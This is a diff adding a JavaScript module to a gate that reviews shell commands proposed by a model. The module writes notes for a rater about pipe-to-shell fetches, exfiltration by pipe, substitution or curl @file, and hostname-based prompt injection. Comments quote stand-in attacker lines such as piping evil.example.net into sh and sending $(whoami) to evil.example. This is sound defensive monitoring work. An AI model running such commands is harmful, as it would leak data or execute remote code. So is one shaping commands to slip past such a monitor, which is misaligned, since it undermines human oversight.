+ * form. Elsewhere the same letter means something unrelated (`python3 -s` is a site-packages
+ * switch), which is why {@link interpreterRunsStdin} consults it only for these heads.
+ */
+const SHELL_INTERPRETERS = new Set([
+    'sh',
+    'bash',
+    'zsh',
+    'dash',
+    'ksh',
+    'ash',
+    'csh',
+    'tcsh',
+    'fish',
+]);
+/**
+ * Programs that CAN run what arrives on their standard input. Piping a fetch into one of these makes
+ * the fetched bytes the program **when no token on that interpreter's own argv could be a program
+ * instead** — which is the question {@link interpreterRunsStdin} answers, and which decides which
+ * sentence this note carries.
+ *
+ * An enumeration, and a miss costs only a less specific note (the host is still named and the
+ * remaining sentence is still true), which is what makes an enumeration acceptable *here* and not in
+ * a layer that decides an outcome.
+ */
+const STDIN_INTERPRETERS = new Set([
+    ...SHELL_INTERPRETERS,
+    'python',
+    'python2',
+    'python3',
+    'node',
+    'nodejs',
+    'deno',
+    'bun',
+    'perl',
+    'ruby',
+    'php',
+    'lua',
+    'osascript',
+    'powershell',
+    'pwsh',
+]);
+/** A short-flag cluster: one dash, then letters or digits (`-s`, `-fsSL`, `-es`). */
+const SHORT_FLAG_CLUSTER_RE = /^-[A-Za-z0-9]+$/;
+/** A long flag with nothing attached: two dashes, then letters, digits or dashes (`--norc`). */
+const LONG_FLAG_RE = /^--[A-Za-z0-9][A-Za-z0-9-]*$/;
+/** A token that is nothing but dashes (`-`, `--`). It has no room to carry a program. */
+const DASHES_ONLY_RE = /^-+$/;
+/**
+ * Is this token a flag and ONLY a flag — with no text glued to it that could be a program?
+ *
+ * Three shapes qualify, and each is a statement about the token's characters rather than about what
+ * any program does with them: nothing but dashes, a short-flag cluster, or a long flag with nothing
+ * attached. Every other `-`-leading token — `-mjson.tool`, `-pes/a/b/`, `--eval=console.log(1)`,
+ * `-cprint(1)` — carries text of its own, and that text can be a program.
+ *
+ * The limit is exactly where the characters stop distinguishing: a glued value made only of letters
+ * and digits (`-mbase64`) is the same shape as a flag cluster (`-fsSL`) and passes here.
+ * {@link interpreterRunsStdin} records what that costs — and note the cost is not uniform, since
+ * `-MJSON` has that same shape while the reading it produces is correct.
+ */
+function isCleanFlag(token) {
+    return (DASHES_ONLY_RE.test(token) || SHORT_FLAG_CLUSTER_RE.test(token) || LONG_FLAG_RE.test(token));
+}
+/**
+ * Does this line leave the interpreter's PROGRAM to standard input, or could a token on the
+ * interpreter's own argv be the program instead?
+ *
+ * Answered from the shape of the argv alone. **There is deliberately no table of what each
+ * interpreter's flags mean**, because that table is the enumeration that acquires a blind spot one
+ * release at a time ([[cmd-pos-is-an-enumeration]]) — and here a wrong entry does not cost a miss,
+ * it puts a FALSE MECHANISM in front of the rater in one direction or the other. `-e` is `eval` to
+ * node and perl and `errexit` to every shell; `-m` is a module to python and job control to bash. Two
+ * program-agnostic facts settle it instead:
+ *
+ * - **A token that is not a clean flag by shape** ({@link isCleanFlag}) may be the program
+ *   (`python3 script.py`), or the value of a flag that supplies one — whether that value is spaced
+ *   (`bash -c "…"`, `python3 -m json.tool`) or GLUED to the flag (`python3 -mjson.tool`,
+ *   `perl -pe's/a/b/'`, `node --eval="…"`). Shape cannot tell those apart, and it does not need to:
+ *   in every one of them the line may hand the interpreter something of its own, so the note must
+ *   not say the fetched bytes are what runs. Testing merely for a leading dash instead would make
+ *   the gate spelling-sensitive where it has to be shape-sensitive, and assert execution of a
+ *   `curl … | python3 -mjson.tool` that only pretty-prints.
+ * - **A shell's `-s`, alone or in a cluster**, says the program IS standard input. It therefore
+ *   WINS over the token test, which would otherwise read the script's own arguments (`sh -s foo`)
+ *   as a program and soften the sentence on the hostile shape.
+ *
+ * **Where shape runs out — both directions, stated rather than claimed away.** Two token shapes are
+ * indistinguishable from a clean flag by their characters alone, and each costs a different error:
+ *
+ * - **A DETACHED flag value** (`bash -o pipefail`, `bash --rcfile /dev/null`) is a token with text
+ *   of its own, so it reads as a possible program and a shell that really does run its standard
+ *   input gets the hedged sentence. This one UNDER-claims, which is the tolerable side: the note
+ *   still names every host and still says the fetched bytes may be what executes.
+ * - **A glued value made only of letters and digits** (`python3 -mbase64`) is the same characters
+ *   as a flag cluster, so it reads as a clean flag and the strong sentence fires on a line that only
+ *   ENCODES the fetched bytes. This one OVER-claims, which is the failure this note path exists to
+ *   remove — it is narrowed here to the shapes characters cannot separate, not eliminated.
+ *   Note the shape does not decide the direction: `perl -MJSON` is the identical shape and the
+ *   strong sentence is TRUE there, because `-M` only loads a module and leaves standard input as
+ *   the program. Both are pinned, the second as correct behaviour rather than as a gap.
+ *
+ * Neither is closable from shape. Both need to know which flags take a value, which is the table
+ * this function refuses: a wrong entry there would state a false mechanism on EVERY line using that
+ * flag, where shape is wrong only on the lines whose tokens are genuinely ambiguous. Both are pinned
+ * in the spec, so closing either is a decision and not a drift.
+ */
+function interpreterRunsStdin(head, operands) {
+    if (SHELL_INTERPRETERS.has(head)) {
+        const forcesStdin = operands.some((operand) => SHORT_FLAG_CLUSTER_RE.test(operand) && operand.includes('s'));
+        if (forcesStdin)
+            return true;
+    }
+    return operands.every(isCleanFlag);
+}
+/**
+ * Split a command line into its parts at the separators the SHELL would act on.
+ *
+ * Quote-aware and nesting-aware, because both are the difference between a part and a fragment: a
+ * `|` inside `"$(cat a | b)"` or inside `'a;b'` starts no new command, and splitting there would
+ * describe a flow the shell never performs. The nesting counter covers `$(…)`, `<(…)`, `>(…)` and
+ * backticks — the constructs whose interior is a command line of its own.
+ *
+ * This does NOT try to be a shell parser. It is the smallest thing that can say "these are the parts
+ * and this one feeds that one", which is all the note needs.
+ */
+function splitComposed(command) {
+    const segments = [];
+    let current = '';
+    let separatorBefore = 'none';
+    let quote = null;
+    let depth = 0;
+    let backtick = false;
+    const cut = (next) => {
+        segments.push({ text: current, separatorBefore });
+        current = '';
+        separatorBefore = next;
+    };
+    for (let i = 0; i < command.length; i++) {
+        const ch = command[i];
+        const next = command[i + 1];
+        if (quote !== null) {
+            current += ch;
+            if (ch === quote)
+                quote = null;
+            continue;
+        }
+        if (ch === '"' || ch === "'") {
+            quote = ch;
+            current += ch;
+            continue;
+        }
+        if (ch === '`') {
+            backtick = !backtick;
+            current += ch;
+            continue;
+        }
+        if (!backtick && (ch === '$' || ch === '<' || ch === '>') && next === '(') {
+            depth++;
+            current += ch + next;
+            i++;
+            continue;
+        }
+        if (depth > 0) {
+            if (ch === '(')
+                depth++;
+            else if (ch === ')')
+                depth--;
+            current += ch;
+            continue;
+        }
+        if (backtick) {
+            current += ch;
+            continue;
+        }
+        if (ch === '\n' || ch === '\r' || ch === ';') {
+            cut('sequence');
+            continue;
+        }
+        if (ch === '&') {
+            if (next === '&')
+                i++;
+            cut('sequence');
+            continue;
+        }
+        if (ch === '|') {
+            // `||` is a sequence operator; a single `|` is the one that connects two parts' streams, and
+            // that connection is the whole of what a flow sentence describes.
+            if (next === '|') {
+                i++;
+                cut('sequence');
+            }
+            else {
+                cut('pipe');
+            }
+            continue;
+        }
+        current += ch;
+    }
+    cut('none');
+    return segments.filter((segment) => segment.text.trim().length > 0);
+}
+/**
+ * The characters a token may contain to be quoted back inside our own note.
+ *
+ * **This is an injection boundary, not cosmetics.** The note is OUR trusted text and sits OUTSIDE
+ * the `<command_to_evaluate>` fence, while every token it names comes from the model's command
+ * string. {@link SCHEME_RE} and {@link HOST_COLON_PATH_RE} are PREFIX tests, so an operand that
+ * starts as a URL carries whatever follows it — and a composed command is the easiest place to build
+ * one. Barring whitespace and line breaks is what stops a "hostname" from becoming a sentence or a
+ * new line in a prompt that is read as instructions.
+ *
+ * A token that fails this is not mangled into shape; it is simply not named ({@link quotable}), and
+ * the sentence falls back to a generic word.
+ */
+const QUOTABLE_IN_NOTE_RE = /^[A-Za-z0-9~/.[][A-Za-z0-9._~@:/+?=,%#[\]-]{0,99}$/;
+/** The token if it is safe to name in our own note, else `null`. See {@link QUOTABLE_IN_NOTE_RE}. */
+function quotable(token) {
+    return QUOTABLE_IN_NOTE_RE.test(token) ? token : null;
+}
+/** `$(…)` or a backtick — the substitution forms the shell EXECUTES before the outer program runs. */
+const EXECUTING_SUBSTITUTION_RE = /\$\(|`/;
+/**
+ * curl's convention for "read this operand from a local file rather than taking it literally". `@-`
+ * is standard input, which is the pipe case rather than a file read.
+ *
+ * Within a head that HAS the convention this is keyed on the convention and not on a list of the
+ * flags that honour it: an enumeration of `-d`/`--data-binary`/`-T`/`-F`/… acquires a blind spot one
+ * flag at a time, and a miss there costs a less specific note. Which heads have it at all is a
+ * different question and is answered by {@link AT_FILE_HEADS}.
+ */
+const AT_FILE_OPERAND_RE = /^@(?!-$)(.+)$/;
+/**
+ * The heads whose operand beginning with `@` means *"read this local file and send its contents"*.
+ *
+ * **curl alone, and the narrowness is the point.** The sentence this arm emits names that mechanism
+ * outright, so it is only ever true of a program that has the convention. A leading at-sign is
+ * ordinary in operands that are nothing of the kind — `npm install @babel/core`, `pnpm add
+ * @types/node`, `yarn add @scope/pkg` are scoped package NAMES, and applying curl's convention to
+ * them both invents a mechanism and invents a filename that does not exist. httpie's file forms
+ * attach to a field (`field@file`) rather than standing as a bare operand, so it is out too: a head
+ * admitted here on a guess re-creates exactly the defect this gate prevents, while a head left out
+ * costs only the flowless sentence, which still names the host.
+ *
+ * The head is `argv[0]` of the part, so a wrapped form (`sudo curl -d @secret …`) falls through as
+ * well — the same trade, taken the same way.
+ */
+const AT_FILE_HEADS = new Set(['curl']);
+/**
+ * Flags whose VALUE the program puts into what it SENDS — a request body, a header, credentials.
+ *
+ * **Keyed by head, because a flag letter is not a convention:** `git push -d <branch>` deletes a
+ * branch, and an ungated list would let *"the result of the inner command is part of what git sends
+ * to <host>"* through unchecked. Only values sent LITERALLY are listed: `-T`/`--upload-file` and
+ * `-F`/`--form` take a filename or an `@file` reference, so a substitution there produces the NAME
+ * of what is sent rather than the content, and claiming otherwise would be the same false mechanism
+ * one flag along.
+ *
+ * A head or a flag missing from here costs the flowless sentence, which is the direction this table
+ * must fail in.
+ */
+const SEND_OPERAND_FLAGS = new Map([
+    [
+        'curl',
+        new Set([
+            '-d',
+            '--data',
+            '--data-raw',
+            '--data-ascii',
+            '--data-binary',
+            '--data-urlencode',
+            '--json',
+            '--form-string',
+            '-H',
+            '--header',
+            '-u',
+            '--user',
+        ]),
+    ],
+    ['wget', new Set(['--post-data', '--body-data', '--header'])],
+]);
+/** A redirection operator standing alone: `>`, `>>`, `2>`, `&>`, `<`. */
+const REDIRECT_OPERATOR_RE = /^(?:\d*(?:>>?|<<?)|&>>?)$/;
+/** The same, glued to what follows it: `>out.txt`, `2>>log`. */
+const REDIRECT_PREFIX_RE = /^(?:\d*(?:>>?|<<?)|&>>?)/;
+/**
+ * Is a substitution in this part in a position the program SENDS?
+ *
+ * The arm's sentence says the inner command's output becomes part of what the program sends to the
+ * host. That is true of a request body, a header or a URL; it is false of the two places a
+ * substitution most often sits in ordinary work — an OUTPUT filename (`curl -o "$(date).json" <URL>`,
+ * `wget -O "$(date).html" <URL>`) and a REDIRECT target (`curl <URL> > "$(date).txt"`), where the
+ * output names a local file and nothing about it goes anywhere.
+ *
+ * So a position must be positively recognised as a sending one, rather than merely not recognised as
+ * an output one: an unlisted flag then costs the flowless sentence instead of a false claim.
+ * Recognised positions are the value of a {@link SEND_OPERAND_FLAGS} flag, in either spelling, and
+ * the endpoint operand itself (`curl "https://evil.example/$(whoami)"`, where the substitution is
+ * part of the request line).
+ */
+function substitutionIsSent(segment) {
+    const sendFlags = SEND_OPERAND_FLAGS.get(segment.head);
+    for (let i = 0; i < segment.argv.length; i++) {
+        const token = segment.argv[i];
+        if (!EXECUTING_SUBSTITUTION_RE.test(token))
+            continue;
+        // A redirect target is not an operand of the program at all — the shell consumes it.
+        if (REDIRECT_PREFIX_RE.test(token))
+            continue;
+        const previous = i > 0 ? segment.argv[i - 1] : undefined;
+        if (previous !== undefined && REDIRECT_OPERATOR_RE.test(previous))
+            continue;
+        // `--data=$(…)` — the value glued to its flag.
+        if (token.startsWith('-')) {
+            if (sendFlags?.has(token.split(/=(.*)/)[0]))
+                return true;
+            continue;
+        }
+        // `-d $(…)` — the detached value. An operand preceded by a flag is that flag's value, so an
+        // unlisted flag (`-o`, `-O`, `--output`) stops here rather than falling on to the operand test.
+        if (previous !== undefined && previous.startsWith('-')) {
+            // `-d @$(…)` names a file to read; its CONTENTS are sent, not the substitution's output.
+            if (sendFlags?.has(previous) && !token.startsWith('@'))
+                return true;
+            continue;
+        }
+        // The endpoint operand itself. `[<>]` excludes an unspaced redirect (`<URL>>$(date).txt`),
+        // which is a host literal by prefix but a filename after the operator.
+        if (segment.hosts.includes(token) && !/[<>]/.test(token))
+            return true;
+    }
+    return false;
+}
+/** Read one part the way the matcher reads a whole command; `null` when it does not tokenize. */
+function analyzeSegment(segment) {
+    const argv = tokenize(segment.text);
+    if (argv === null || argv.length === 0)
+        return null;
+    return {
+        separatorBefore: segment.separatorBefore,
+        argv,
+        head: bareHead(argv[0]),
+        hosts: matchArgv(argv),
+    };
+}
+/**
+ * Name the flow across the parts, or `null` when none of the shapes below applies.
+ *
+ * **Only shapes where the flow is determinable from the argv alone appear here**, and the order is
+ * how specific each one is. A part piped into an ordinary local program (`curl … | jq .version`) is
+ * deliberately NOT a flow: it is real, but naming it would state something the rater can already see
+ * in the text, and the note's whole value is the fact that needs two parts composed to notice.
+ *
+ * **Each arm carries EVERY host of the part it describes, not the first.** The first is the proxy in
+ * `curl -x http://proxy.corp.local:3128 https://evil.example.net/x | sh`, and the sentence that
+ * names it alone hides the host whose bytes `sh` runs.
+ */
+function findFlow(segments) {
+    for (let i = 0; i + 1 < segments.length; i++) {
+        const upstream = segments[i];
+        const downstream = segments[i + 1];
+        if (downstream.separatorBefore !== 'pipe')
+            continue;
+        if (upstream.hosts.length > 0 && STDIN_INTERPRETERS.has(downstream.head)) {
+            return {
+                kind: 'fetch-into-interpreter',
+                hosts: upstream.hosts,
+                interpreter: downstream.head,
+                stdinIsTheProgram: interpreterRunsStdin(downstream.head, downstream.argv.slice(1)),
+            };
+        }
+        if (upstream.hosts.length === 0 && downstream.hosts.length > 0) {
+            return {
+                kind: 'local-into-transfer',
+                producer: upstream.head,
+                transfer: downstream.head,
+                hosts: downstream.hosts,
+            };
+        }
+    }
+    for (const segment of segments) {
+        if (segment.hosts.length === 0)
+            continue;
+        if (substitutionIsSent(segment)) {
+            return {
+                kind: 'substitution-into-transfer',
+                transfer: segment.head,
+                hosts: segment.hosts,
+            };
+        }
+        if (!AT_FILE_HEADS.has(segment.head))
+            continue;
+        const atFile = segment.argv
+            .map((token) => AT_FILE_OPERAND_RE.exec(token)?.[1])
+            .find((path) => path !== undefined);
+        if (atFile !== undefined) {
+            return {
+                kind: 'file-into-transfer',
+                transfer: segment.head,
+                hosts: segment.hosts,
+                path: quotable(atFile),
+            };
+        }
+    }
+    return null;
+}
+/** Read every part of one form of the command; `null` when no part names a host. */
+function analyzeComposed(command) {
+    const segments = splitComposed(command)
+        .map(analyzeSegment)
+        .filter((segment) => segment !== null);
+    const hosts = [...new Set(segments.flatMap((segment) => [...segment.hosts]))];
+    if (hosts.length === 0)
+        return null;
+    return { hosts, flow: findFlow(segments) };
+}
+/**
+ * Read a command the gate's parser could NOT resolve part by part, and report the host literals and
+ * the data flow across those parts — or `null` when the command resolves, or when no part names a
+ * host.
+ *
+ * **This feeds the rater's note and nothing else.** It is never consulted by the destructive floor:
+ * see the module docblock for why the two questions have different input sets, and
+ * {@link findOpenWorldHostLiterals} for the floor's.
+ *
+ * The `null` on a resolvable command is the guard that keeps the rater from being told about the
+ * same host twice in two registers — a command the parser resolved is the floor's, and the floor's
+ * own note already names its hosts.
+ *
+ * Both the normalized and the raw form are read, for the reason {@link findOpenWorldHostLiterals}
+ * gives: normalization collapses `\x` to `x`, which defeats `c\url` and destroys a Windows path
+ * separator, so the raw pass is the only one that still sees `C:\Windows\System32\curl.exe`.
+ *
+ * @param command The raw command string as the model proposed it.
+ */
+export function findComposedOpenWorld(command) {
+    if (classifyCommand(command, normalizeCommand) !== null)
+        return null;
+    return analyzeComposed(normalizeCommand(command)) ?? analyzeComposed(command);
+}
+/**
+ * The opening line of the composed open-world note.
+ *
+ * **It states the two facts and asserts no third one.** A part of this line names a host in a
+ * fetch/transfer position, and nothing about the command has been decided. The second half is what
+ * keeps this out of the floor note's register: that one may say the command *"is never
+ * auto-approved"* because a floor really did fire, and here no floor exists — repeating its sentence
+ * would tell the rater the outcome is settled when the rating is the only thing that decides it.
+ */
+export const COMPOSED_OPEN_WORLD_PREAMBLE = 'OPEN-WORLD NOTE: the gate could not resolve this command line as a single command — it composes, ' +
+    'substitutes or redirects — so it was not put through the deterministic host check a plain ' +
+    'command goes through. Reading its parts separately, one of them names a host in a fetch or ' +
+    'transfer position. Nothing has been decided here and nothing has been floored: this is context ' +
+    'about what the parts do together, and the rating is entirely yours.';
+/**
+ * Name every host that is safe to quote back, in argv order.
+ *
+ * **Every one, never the first.** The finding carries all of them because the first is the proxy and
+ * the second is the counterparty as often as the other way round; a sentence that drops the rest
+ * hides exactly what it exists to surface. A host that fails {@link quotable} is not named at all —
+ * that is the injection boundary, not a shortening — and when none can be named the caller's
+ * fallback word stands in for them.
+ */
+function nameHosts(hosts, fallback) {
+    const named = hosts.map(quotable).filter((host) => host !== null);
+    if (named.length === 0)
+        return { phrase: fallback, plural: false };
+    if (named.length === 1)
+        return { phrase: named[0], plural: false };
+    const last = named[named.length - 1];
+    return { phrase: `${named.slice(0, -1).join(', ')} and ${last}`, plural: true };
+}
+/**
+ * The sentence describing the flow — the mechanism, then a question.
+ *
+ * Neither is a verdict about the command. [[QA-17]] measured that a bare observation from a
+ * component that has just said it could not read the command is taken as DOUBT rather than as
+ * information, and that one sentence of MECHANISM is what moves a rater; these say what the shell
+ * does with the parts and then hand the judgement back.
+ *
+ * Every arm renders `flow.hosts` through {@link nameHosts} and agrees its verbs with the count, so
+ * the one-host reading and the several-host reading are the same sentence rather than two that can
+ * drift.
+ */
+function flowSentence(flow) {
+    switch (flow.kind) {
+        case 'fetch-into-interpreter': {
+            const { phrase: host, plural } = nameHosts(flow.hosts, 'that host');
+            const interpreter = quotable(flow.interpreter) ?? 'the program after the pipe';
+            const returns = plural ? 'return' : 'returns';
+            const does = plural ? 'do' : 'does';
+            // A token on the interpreter's own argv could be a program, so the fetched bytes may be its
+            // INPUT rather than the thing it runs — `curl … | python3 -m json.tool` pretty-prints them as
+            // data, and so does the glued `-mjson.tool` spelling. The sentence hedges because the gate
+            // reads shape and not flag meanings; see {@link interpreterRunsStdin}.
+            if (!flow.stdinIsTheProgram) {
+                return (`The part that fetches from ${host} is piped into ${interpreter}, so ${interpreter} ` +
+                    `reads whatever ${host} ${returns}. This line also gives ${interpreter} operands of its ` +
+                    `own, which may be the program it runs, so the gate is not saying the fetched bytes are ` +
+                    `what executes here — they may be INPUT to that program instead. What ${does} ${host} ` +
+                    `serve here, and what does ${interpreter} do with it?`);
+            }
+            return (`The part that fetches from ${host} is piped into ${interpreter}, so the shell hands ` +
+                `whatever ${host} ${returns} to ${interpreter} and ${interpreter} runs it as a program on ` +
+                `this machine. What this line executes is therefore decided by ${host} and is not in the ` +
+                `text above. What ${does} ${host} serve here?`);
+        }
+        case 'local-into-transfer': {
+            const { phrase: host } = nameHosts(flow.hosts, 'that host');
+            const producer = quotable(flow.producer) ?? 'the program before the pipe';
+            const transfer = quotable(flow.transfer) ?? 'the program after the pipe';
+            return (`The output of ${producer} is piped into ${transfer}, so whatever ${producer} produces on ` +
+                `this machine is what ${transfer} sends to ${host}. It takes both parts together to see ` +
+                `that: neither one moves local data off the machine on its own. What does ${producer} read ` +
+                `and emit here?`);
+        }
+        case 'substitution-into-transfer': {
+            const { phrase: host } = nameHosts(flow.hosts, 'that host');
+            const transfer = quotable(flow.transfer) ?? 'the transfer program';
+            return (`An operand of ${transfer} is a substitution. The SHELL runs that inner command first and ` +
+                `substitutes its output into the argument list BEFORE ${transfer} starts, so the result of ` +
+                `the inner command is part of what ${transfer} sends to ${host} — the operand is not the ` +
+                `literal text shown. What does the inner command produce?`);
+        }
+        case 'file-into-transfer': {
+            const { phrase: host } = nameHosts(flow.hosts, 'that host');
+            const transfer = quotable(flow.transfer) ?? 'the transfer program';
+            const file = flow.path === null ? 'a local file' : `the local file ${flow.path}`;
+            return (`An operand of ${transfer} begins with an at-sign, which tells ${transfer} to read ` +
+                `${file} and send its CONTENTS to ${host} rather than sending the name itself. What is in ` +
+                `that file?`);
+        }
+    }
+}
+/**
+ * The hosts the rest of the line names, added after the flow sentence.
+ *
+ * A flow describes ONE part; the finding covers the whole line. Without this, naming a flow would
+ * cost the note every host outside that part — the same loss as naming only the first host, one
+ * level up. Empty when the flow already named them all, which is the ordinary case.
+ */
+function residualSentence(hosts) {
+    const { phrase, plural } = nameHosts(hosts, '');
+    if (phrase === '')
+        return '';
+    return plural
+        ? ` Other parts of this line also name ${phrase}, and the gate is not saying what reaches them. ` +
+            'What do those parts do here?'
+        : ` Another part of this line also names ${phrase}, and the gate is not saying what reaches ` +
+            'it. What does that part do here?';
+}
+/**
+ * What the note says when no flow is determinable: the hosts, and an explicit statement that the
+ * flow is NOT known. A note that guessed at one would be worse than a short one, and a reader told
+ * what the gate could not work out can weigh it.
+ */
+function flowlessSentence(hosts) {
+    const { phrase, plural } = nameHosts(hosts, 'a host');
+    const subject = plural ? 'The parts read separately name' : 'The part in question names';
+    const them = plural ? 'those hosts' : 'that host';
+    const contact = plural
+        ? 'the parts of this line contact them'
+        : 'one part of this line contacts it';
+    return (`${subject} ${phrase}. The gate could not work out how the parts feed into each other, so it ` +
+        `is not telling you what reaches ${them} — only that ${contact}. What does the whole line do ` +
+        'once every part has run?');
+}
+/**
+ * Build the composed open-world note for a command, or `null` when there is nothing to say.
+ *
+ * One sentence of mechanism when the flow is determinable, plus the hosts the rest of the line names
+ * ({@link residualSentence}); when it is not, {@link flowlessSentence}. **Every host on the finding
+ * that can be quoted is named either way** — which arm fired must never decide how much the rater is
+ * told about the counterparties.
+ *
+ * @param command The raw command string as the model proposed it.
+ */
+export function buildComposedOpenWorldNote(command) {
+    const finding = findComposedOpenWorld(command);
+    if (finding === null)
+        return null;
+    const flow = finding.flow;
+    const body = flow === null
+        ? flowlessSentence(finding.hosts)
+        : flowSentence(flow) +
+            residualSentence(finding.hosts.filter((host) => !flow.hosts.includes(host)));
+    return `${COMPOSED_OPEN_WORLD_PREAMBLE}\n${body}`;
+}
+//# sourceMappingURL=openWorld.js.map